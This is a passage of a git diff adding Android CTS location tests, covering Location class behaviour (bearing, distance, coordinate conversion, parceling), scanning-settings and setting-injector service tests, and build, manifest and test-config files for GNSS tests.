+ private final boolean TEST_KEY1VALUE = false;
+ private final byte TEST_KEY2VALUE = 10;
+
+ @Test
+ public void testConstructor() {
+ new Location("LocationProvider");
+
+ Location l = createTestLocation();
+ Location location = new Location(l);
+ assertTestLocation(location);
+
+ try {
+ new Location((Location) null);
+ fail("should throw NullPointerException");
+ } catch (NullPointerException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testDump() {
+ StringBuilder sb = new StringBuilder();
+ StringBuilderPrinter printer = new StringBuilderPrinter(sb);
+ Location location = new Location("LocationProvider");
+ location.dump(printer, "");
+ assertNotNull(sb.toString());
+ }
+
+ @Test
+ public void testBearingTo() {
+ Location location = new Location("");
+ Location dest = new Location("");
+
+ // set the location to Beijing
+ location.setLatitude(39.9);
+ location.setLongitude(116.4);
+ // set the destination to Chengdu
+ dest.setLatitude(30.7);
+ dest.setLongitude(104.1);
+ assertEquals(-128.66, location.bearingTo(dest), DELTA);
+
+ float bearing;
+ Location zeroLocation = new Location("");
+ zeroLocation.setLatitude(0);
+ zeroLocation.setLongitude(0);
+
+ Location testLocation = new Location("");
+ testLocation.setLatitude(0);
+ testLocation.setLongitude(150);
+
+ bearing = zeroLocation.bearingTo(zeroLocation);
+ assertEquals(0.0f, bearing, DELTA);
+
+ bearing = zeroLocation.bearingTo(testLocation);
+ assertEquals(90.0f, bearing, DELTA);
+
+ testLocation.setLatitude(90);
+ testLocation.setLongitude(0);
+ bearing = zeroLocation.bearingTo(testLocation);
+ assertEquals(0.0f, bearing, DELTA);
+
+ try {
+ location.bearingTo(null);
+ fail("should throw NullPointerException");
+ } catch (NullPointerException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testConvert_CoordinateToRepresentation() {
+ DecimalFormat df = new DecimalFormat("###.#####");
+ String result;
+
+ result = Location.convert(-80.0, Location.FORMAT_DEGREES);
+ assertEquals("-" + df.format(80.0), result);
+
+ result = Location.convert(-80.085, Location.FORMAT_MINUTES);
+ assertEquals("-80:" + df.format(5.1), result);
+
+ result = Location.convert(-80, Location.FORMAT_MINUTES);
+ assertEquals("-80:" + df.format(0), result);
+
+ result = Location.convert(-80.075, Location.FORMAT_MINUTES);
+ assertEquals("-80:" + df.format(4.5), result);
+
+ result = Location.convert(-80.075, Location.FORMAT_DEGREES);
+ assertEquals("-" + df.format(80.075), result);
+
+ result = Location.convert(-80.075, Location.FORMAT_SECONDS);
+ assertEquals("-80:4:30", result);
+
+ try {
+ Location.convert(-181, Location.FORMAT_SECONDS);
+ fail("should throw IllegalArgumentException.");
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+
+ try {
+ Location.convert(181, Location.FORMAT_SECONDS);
+ fail("should throw IllegalArgumentException.");
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+
+ try {
+ Location.convert(-80.075, -1);
+ fail("should throw IllegalArgumentException.");
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testConvert_RepresentationToCoordinate() {
+ double result;
+
+ result = Location.convert("-80.075");
+ assertEquals(-80.075, result, DELTA);
+
+ result = Location.convert("-80:05.10000");
+ assertEquals(-80.085, result, DELTA);
+
+ result = Location.convert("-80:04:03.00000");
+ assertEquals(-80.0675, result, DELTA);
+
+ result = Location.convert("-80:4:3");
+ assertEquals(-80.0675, result, DELTA);
+
+ try {
+ Location.convert(null);
+ fail("should throw NullPointerException.");
+ } catch (NullPointerException e){
+ // expected.
+ }
+
+ try {
+ Location.convert(":");
+ fail("should throw IllegalArgumentException.");
+ } catch (IllegalArgumentException e){
+ // expected.
+ }
+
+ try {
+ Location.convert("190:4:3");
+ fail("should throw IllegalArgumentException.");
+ } catch (IllegalArgumentException e){
+ // expected.
+ }
+
+ try {
+ Location.convert("-80:60:3");
+ fail("should throw IllegalArgumentException.");
+ } catch (IllegalArgumentException e){
+ // expected.
+ }
+
+ try {
+ Location.convert("-80:4:60");
+ fail("should throw IllegalArgumentException.");
+ } catch (IllegalArgumentException e){
+ // expected.
+ }
+ }
+
+ @Test
+ public void testDescribeContents() {
+ Location location = new Location("");
+ location.describeContents();
+ }
+
+ @Test
+ public void testDistanceBetween() {
+ float[] result = new float[3];
+ Location.distanceBetween(0, 0, 0, 0, result);
+ assertEquals(0.0, result[0], DELTA);
+ assertEquals(0.0, result[1], DELTA);
+ assertEquals(0.0, result[2], DELTA);
+
+ Location.distanceBetween(20, 30, -40, 140, result);
+ assertEquals(1.3094936E7, result[0], 1);
+ assertEquals(125.4538, result[1], DELTA);
+ assertEquals(93.3971, result[2], DELTA);
+
+ try {
+ Location.distanceBetween(20, 30, -40, 140, null);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+
+ try {
+ Location.distanceBetween(20, 30, -40, 140, new float[0]);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testDistanceTo() {
+ float distance;
+ Location zeroLocation = new Location("");
+ zeroLocation.setLatitude(0);
+ zeroLocation.setLongitude(0);
+
+ Location testLocation = new Location("");
+ testLocation.setLatitude(30);
+ testLocation.setLongitude(50);
+
+ distance = zeroLocation.distanceTo(zeroLocation);
+ assertEquals(0, distance, DELTA);
+
+ distance = zeroLocation.distanceTo(testLocation);
+ assertEquals(6244139.0, distance, 1);
+ }
+
+ @Test
+ public void testAccessAccuracy() {
+ Location location = new Location("");
+ assertFalse(location.hasAccuracy());
+
+ location.setAccuracy(1.0f);
+ assertEquals(1.0, location.getAccuracy(), DELTA);
+ assertTrue(location.hasAccuracy());
+ }
+
+ @Test
+ public void testAccessVerticalAccuracy() {
+ Location location = new Location("");
+ assertFalse(location.hasVerticalAccuracy());
+
+ location.setVerticalAccuracyMeters(1.0f);
+ assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
+ assertTrue(location.hasVerticalAccuracy());
+ }
+
+ @Test
+ public void testAccessSpeedAccuracy() {
+ Location location = new Location("");
+ assertFalse(location.hasSpeedAccuracy());
+
+ location.setSpeedAccuracyMetersPerSecond(1.0f);
+ assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+ assertTrue(location.hasSpeedAccuracy());
+ }
+
+ @Test
+ public void testAccessBearingAccuracy() {
+ Location location = new Location("");
+ assertFalse(location.hasBearingAccuracy());
+
+ location.setBearingAccuracyDegrees(1.0f);
+ assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
+ assertTrue(location.hasBearingAccuracy());
+ }
+
+
+ @Test
+ public void testAccessAltitude() {
+ Location location = new Location("");
+ assertFalse(location.hasAltitude());
+
+ location.setAltitude(1.0);
+ assertEquals(1.0, location.getAltitude(), DELTA);
+ assertTrue(location.hasAltitude());
+ }
+
+ @Test
+ public void testAccessBearing() {
+ Location location = new Location("");
+ assertFalse(location.hasBearing());
+
+ location.setBearing(1.0f);
+ assertEquals(1.0, location.getBearing(), DELTA);
+ assertTrue(location.hasBearing());
+
+ location.setBearing(371.0f);
+ assertEquals(11.0, location.getBearing(), DELTA);
+ assertTrue(location.hasBearing());
+
+ location.setBearing(-361.0f);
+ assertEquals(359.0, location.getBearing(), DELTA);
+ assertTrue(location.hasBearing());
+ }
+
+ @Test
+ public void testAccessExtras() {
+ Location location = createTestLocation();
+
+ assertTestBundle(location.getExtras());
+
+ location.setExtras(null);
+ assertNull(location.getExtras());
+ }
+
+ @Test
+ public void testAccessLatitude() {
+ Location location = new Location("");
+
+ location.setLatitude(0);
+ assertEquals(0, location.getLatitude(), DELTA);
+
+ location.setLatitude(90);
+ assertEquals(90, location.getLatitude(), DELTA);
+
+ location.setLatitude(-90);
+ assertEquals(-90, location.getLatitude(), DELTA);
+ }
+
+ @Test
+ public void testAccessLongitude() {
+ Location location = new Location("");
+
+ location.setLongitude(0);
+ assertEquals(0, location.getLongitude(), DELTA);
+
+ location.setLongitude(180);
+ assertEquals(180, location.getLongitude(), DELTA);
+
+ location.setLongitude(-180);
+ assertEquals(-180, location.getLongitude(), DELTA);
+ }
+
+ @Test
+ public void testAccessProvider() {
+ Location location = new Location("");
+
+ String provider = "Location Provider";
+ location.setProvider(provider);
+ assertEquals(provider, location.getProvider());
+
+ location.setProvider(null);
+ assertNull(location.getProvider());
+ }
+
+ @Test
+ public void testAccessSpeed() {
+ Location location = new Location("");
+ assertFalse(location.hasSpeed());
+
+ location.setSpeed(234.0045f);
+ assertEquals(234.0045, location.getSpeed(), DELTA);
+ assertTrue(location.hasSpeed());
+ }
+
+ public void testAccessTime() {
+ Location location = new Location("");
+
+ location.setTime(0);
+ assertEquals(0, location.getTime());
+
+ location.setTime(Long.MAX_VALUE);
+ assertEquals(Long.MAX_VALUE, location.getTime());
+
+ location.setTime(12000);
+ assertEquals(12000, location.getTime());
+ }
+
+ @Test
+ public void testAccessElapsedRealtime() {
+ Location location = new Location("");
+
+ location.setElapsedRealtimeNanos(0);
+ assertEquals(0, location.getElapsedRealtimeNanos());
+
+ location.setElapsedRealtimeNanos(Long.MAX_VALUE);
+ assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
+
+ location.setElapsedRealtimeNanos(12000);
+ assertEquals(12000, location.getElapsedRealtimeNanos());
+ }
+
+ @Test
+ public void testAccessElapsedRealtimeUncertaintyNanos() {
+ Location location = new Location("");
+ assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+ assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+
+ location.setElapsedRealtimeUncertaintyNanos(12000.0);
+ assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+ assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
+
+ location.reset();
+ assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+ assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+ }
+
+ @Test
+ public void testSet() {
+ Location location = new Location("");
+
+ Location loc = createTestLocation();
+
+ location.set(loc);
+ assertTestLocation(location);
+
+ location.reset();
+ assertNull(location.getProvider());
+ assertEquals(0, location.getTime());
+ assertEquals(0, location.getLatitude(), DELTA);
+ assertEquals(0, location.getLongitude(), DELTA);
+ assertEquals(0, location.getAltitude(), DELTA);
+ assertFalse(location.hasAltitude());
+ assertEquals(0, location.getSpeed(), DELTA);
+ assertFalse(location.hasSpeed());
+ assertEquals(0, location.getBearing(), DELTA);
+ assertFalse(location.hasBearing());
+ assertEquals(0, location.getAccuracy(), DELTA);
+ assertFalse(location.hasAccuracy());
+
+ assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
+ assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+ assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
+
+ assertFalse(location.hasVerticalAccuracy());
+ assertFalse(location.hasSpeedAccuracy());
+ assertFalse(location.hasBearingAccuracy());
+
+ assertNull(location.getExtras());
+ }
+
+ @Test
+ public void testToString() {
+ Location location = createTestLocation();
+
+ assertNotNull(location.toString());
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ Location location = createTestLocation();
+
+ Parcel parcel = Parcel.obtain();
+ location.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ Location newLocation = Location.CREATOR.createFromParcel(parcel);
+ assertTestLocation(newLocation);
+
+ parcel.recycle();
+ }
+
+ private void assertTestLocation(Location l) {
+ assertNotNull(l);
+ assertEquals(TEST_PROVIDER, l.getProvider());
+ assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
+ assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
+ assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
+ assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
+ assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
+ assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
+ assertEquals(TEST_BEARING, l.getBearing(), DELTA);
+ assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
+ assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
+ assertEquals(TEST_TIME, l.getTime());
+ assertTestBundle(l.getExtras());
+ }
+
+ private Location createTestLocation() {
+ Location l = new Location(TEST_PROVIDER);
+ l.setAccuracy(TEST_ACCURACY);
+ l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
+ l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
+ l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
+
+ l.setAltitude(TEST_ALTITUDE);
+ l.setLatitude(TEST_LATITUDE);
+ l.setBearing(TEST_BEARING);
+ l.setLongitude(TEST_LONGITUDE);
+ l.setSpeed(TEST_SPEED);
+ l.setTime(TEST_TIME);
+ Bundle bundle = new Bundle();
+ bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
+ bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
+ l.setExtras(bundle);
+
+ return l;
+ }
+
+ private void assertTestBundle(Bundle bundle) {
+ assertFalse(bundle.getBoolean(TEST_KEY1NAME));
+ assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
new file mode 100644
index 0000000..802aa2c
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.database.ContentObserver;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.CddTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests if system settings app provides scanning settings.
+ */
+@AppModeFull(reason = "Test cases don't apply for Instant apps")
+public class ScanningSettingsTest extends AndroidTestCase {
+ private static final String TAG = "ScanningSettingsTest";
+
+ private static final int TIMEOUT = 8_000; // 8 seconds
+ private static final String SETTINGS_PACKAGE = "com.android.settings";
+
+ private static final String WIFI_SCANNING_TITLE_RES =
+ "location_scanning_wifi_always_scanning_title";
+ private static final String BLUETOOTH_SCANNING_TITLE_RES =
+ "location_scanning_bluetooth_always_scanning_title";
+
+ private UiDevice mDevice;
+ private Context mContext;
+ private String mLauncherPackage;
+ private PackageManager mPackageManager;
+
+ @Override
+ protected void setUp() {
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ mPackageManager = mContext.getPackageManager();
+ if (isTv()) {
+ // TV does not support the setting options of WIFI scanning and Bluetooth scanning
+ return;
+ }
+ final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
+ launcherIntent.addCategory(Intent.CATEGORY_HOME);
+ mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
+ PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+ }
+
+ @CddTest(requirement = "7.4.2/C-2-1")
+ public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
+ if (isTv()) {
+ return;
+ }
+ launchScanningSettings();
+ toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
+ }
+
+ @CddTest(requirement = "7.4.3/C-4-1")
+ public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
+ if (isTv()) {
+ return;
+ }
+ launchScanningSettings();
+ toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
+ Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
+ }
+
+ private boolean isTv() {
+ return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ && mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ }
+
+ private void launchScanningSettings() {
+ // Start from the home screen
+ mDevice.pressHome();
+ mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+
+ final Intent intent = new Intent(Settings.ACTION_LOCATION_SCANNING_SETTINGS);
+ // Clear out any previous instances
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait for the app to appear
+ mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+ }
+
+ private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
+ String settingKey) {
+ final CountDownLatch latch = new CountDownLatch(1);
+ final HandlerThread handlerThread = new HandlerThread(TAG);
+ handlerThread.start();
+ final ContentObserver observer = new ContentObserver(
+ new Handler(handlerThread.getLooper())) {
+ @Override
+ public void onChange(boolean selfChange) {
+ super.onChange(selfChange);
+ latch.countDown();
+ }
+ };
+ resolver.registerContentObserver(Settings.Global.getUriFor(settingKey), false, observer);
+ pref.click();
+ try {
+ latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ handlerThread.quit();
+ resolver.unregisterContentObserver(observer);
+ assertEquals(0, latch.getCount());
+ }
+
+ private void toggleSettingAndVerify(String prefTitleRes, String settingKey)
+ throws PackageManager.NameNotFoundException {
+ final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
+ final int resId = res.getIdentifier(prefTitleRes, "string", SETTINGS_PACKAGE);
+ final UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
+ final ContentResolver resolver = mContext.getContentResolver();
+ final boolean checked = Settings.Global.getInt(resolver, settingKey, 0) == 1;
+
+ // Click the preference to toggle the setting.
+ clickAndWaitForSettingChange(pref, resolver, settingKey);
+ assertEquals(!checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+
+ // Click the preference again to toggle the setting back.
+ clickAndWaitForSettingChange(pref, resolver, settingKey);
+ assertEquals(checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/SettingInjectorServiceTest.java b/tests/location/location_fine/src/android/location/cts/fine/SettingInjectorServiceTest.java
new file mode 100644
index 0000000..191ceb4
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/SettingInjectorServiceTest.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.SettingInjectorService.ENABLED_KEY;
+import static android.location.SettingInjectorService.MESSENGER_KEY;
+import static android.location.SettingInjectorService.SUMMARY_KEY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.location.SettingInjectorService;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SettingInjectorServiceTest {
+
+ private static final long TIMEOUT_MS = 5000;
+ private static final long FAILURE_TIMEOUT_MS = 200;
+
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ mContext = ApplicationProvider.getApplicationContext();
+ }
+
+ @Test
+ public void testRefreshSettings() {
+ // Simply calls the method to make sure it exists.
+ SettingInjectorService.refreshSettings(mContext);
+ }
+
+ @Test
+ public void testSettingInjectorService() throws Exception {
+ TestSettingInjectorService service = new TestSettingInjectorService();
+ MessageCapture messageCapture = new MessageCapture();
+ Intent intent = new Intent().putExtra(MESSENGER_KEY, messageCapture.getMessenger());
+
+ service.setEnabledAndSummary(false, null);
+ service.onStartCommand(intent, 0, 0);
+ Message message = messageCapture.getNextMessage(TIMEOUT_MS);
+ assertFalse(message.getData().getBoolean(ENABLED_KEY));
+ assertNull(message.getData().getString(SUMMARY_KEY));
+
+ service.setEnabledAndSummary(true, "summary");
+ service.onStartCommand(intent, 0, 0);
+ message = messageCapture.getNextMessage(TIMEOUT_MS);
+ assertTrue(message.getData().getBoolean(ENABLED_KEY));
+ assertEquals("summary", message.getData().getString(SUMMARY_KEY));
+
+ service.setEnabledAndSummary(false, "another_summary");
+ service.onStartCommand(intent, 0, 0);
+ message = messageCapture.getNextMessage(TIMEOUT_MS);
+ assertFalse(message.getData().getBoolean(ENABLED_KEY));
+ assertEquals("another_summary", message.getData().getString(SUMMARY_KEY));
+
+ assertNull(messageCapture.getNextMessage(FAILURE_TIMEOUT_MS));
+ }
+
+ @Test
+ public void testSettingInjectorService_Exception() throws Exception {
+ BadSettingInjectorService service = new BadSettingInjectorService();
+ MessageCapture messageCapture = new MessageCapture();
+ Intent intent = new Intent().putExtra(MESSENGER_KEY, messageCapture.getMessenger());
+
+ try {
+ service.onStartCommand(intent, 0, 0);
+ fail("Should throw RuntimeException");
+ } catch (RuntimeException e) {
+ // pass
+ }
+
+ Message message = messageCapture.getNextMessage(TIMEOUT_MS);
+ assertFalse(message.getData().getBoolean(ENABLED_KEY));
+ assertNull(message.getData().getString(SUMMARY_KEY));
+
+ assertNull(messageCapture.getNextMessage(FAILURE_TIMEOUT_MS));
+ }
+
+ @Test
+ public void testSettingInjectorService_Bind() {
+ TestSettingInjectorService service = new TestSettingInjectorService();
+ assertNull(service.onBind(new Intent()));
+ }
+
+ @Test
+ public void testSettingInjectorService_EmptyIntent() {
+ TestSettingInjectorService service = new TestSettingInjectorService();
+ service.onStartCommand(new Intent(), 0, 0);
+ }
+
+ private static class TestSettingInjectorService extends SettingInjectorService {
+
+ private boolean mEnabled;
+ private String mSummary;
+
+ TestSettingInjectorService() {
+ super("TestSettingInjectorService");
+ }
+
+ @Override
+ protected String onGetSummary() {
+ return mSummary;
+ }
+
+ @Override
+ protected boolean onGetEnabled() {
+ return mEnabled;
+ }
+
+ public void setEnabledAndSummary(boolean enabled, String summary) {
+ mEnabled = enabled;
+ mSummary = summary;
+ }
+ }
+
+ private static class BadSettingInjectorService extends SettingInjectorService {
+
+ BadSettingInjectorService() {
+ super("BadSettingInjectorService");
+ }
+
+ @Override
+ protected String onGetSummary() {
+ throw new RuntimeException();
+ }
+
+ @Override
+ protected boolean onGetEnabled() {
+ throw new RuntimeException();
+ }
+ }
+
+ private static class MessageCapture extends Handler {
+
+ private final Messenger mMessenger = new Messenger(this);
+
+ private final LinkedBlockingQueue<Message> mMessages = new LinkedBlockingQueue<>();
+
+ MessageCapture() {
+ super(Looper.getMainLooper());
+ }
+
+ public Messenger getMessenger() {
+ return mMessenger;
+ }
+
+ public Message getNextMessage(long timeoutMs) throws InterruptedException {
+ return mMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void handleMessage(Message m) {
+ mMessages.add(Message.obtain(m));
+ }
+ }
+}
diff --git a/tests/location/location_gnss/Android.bp b/tests/location/location_gnss/Android.bp
new file mode 100644
index 0000000..5208d51
--- /dev/null
+++ b/tests/location/location_gnss/Android.bp
@@ -0,0 +1,67 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+ name: "cts-location-gnss-tests",
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ static_libs: [
+ "LocationCtsCommon",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "apache-commons-math",
+ "platform-test-annotations",
+ ],
+ proto: {
+ type: "nano",
+ },
+ srcs: [
+ "src/**/*.java",
+ "protos/**/*.proto",
+ ],
+ sdk_version: "test_current",
+}
+android_test {
+ name: "CtsLocationGnssTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "LocationCtsCommon",
+ "androidx.test.ext.junit",
+ "androidx.test.ext.truth",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ "apache-commons-math",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ proto: {
+ type: "nano",
+ },
+ srcs: [
+ "src/**/*.java",
+ "protos/**/*.proto",
+ ],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/tests/location/location_gnss/AndroidManifest.xml b/tests/location/location_gnss/AndroidManifest.xml
new file mode 100644
index 0000000..f463c37
--- /dev/null
+++ b/tests/location/location_gnss/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.location.cts.gnss">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.INTERNET"/>
+ <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+ <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+ <uses-permission android:name="android.permission.SEND_SMS"/>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for android.location that require GNSS signal"
+ android:targetPackage="android.location.cts.gnss" >
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/location/location_gnss/AndroidTest.xml b/tests/location/location_gnss/AndroidTest.xml
new file mode 100644
index 0000000..bd115a5
--- /dev/null
+++ b/tests/location/location_gnss/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Location test cases that require GNSS signal">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="location" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLocationGnssTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
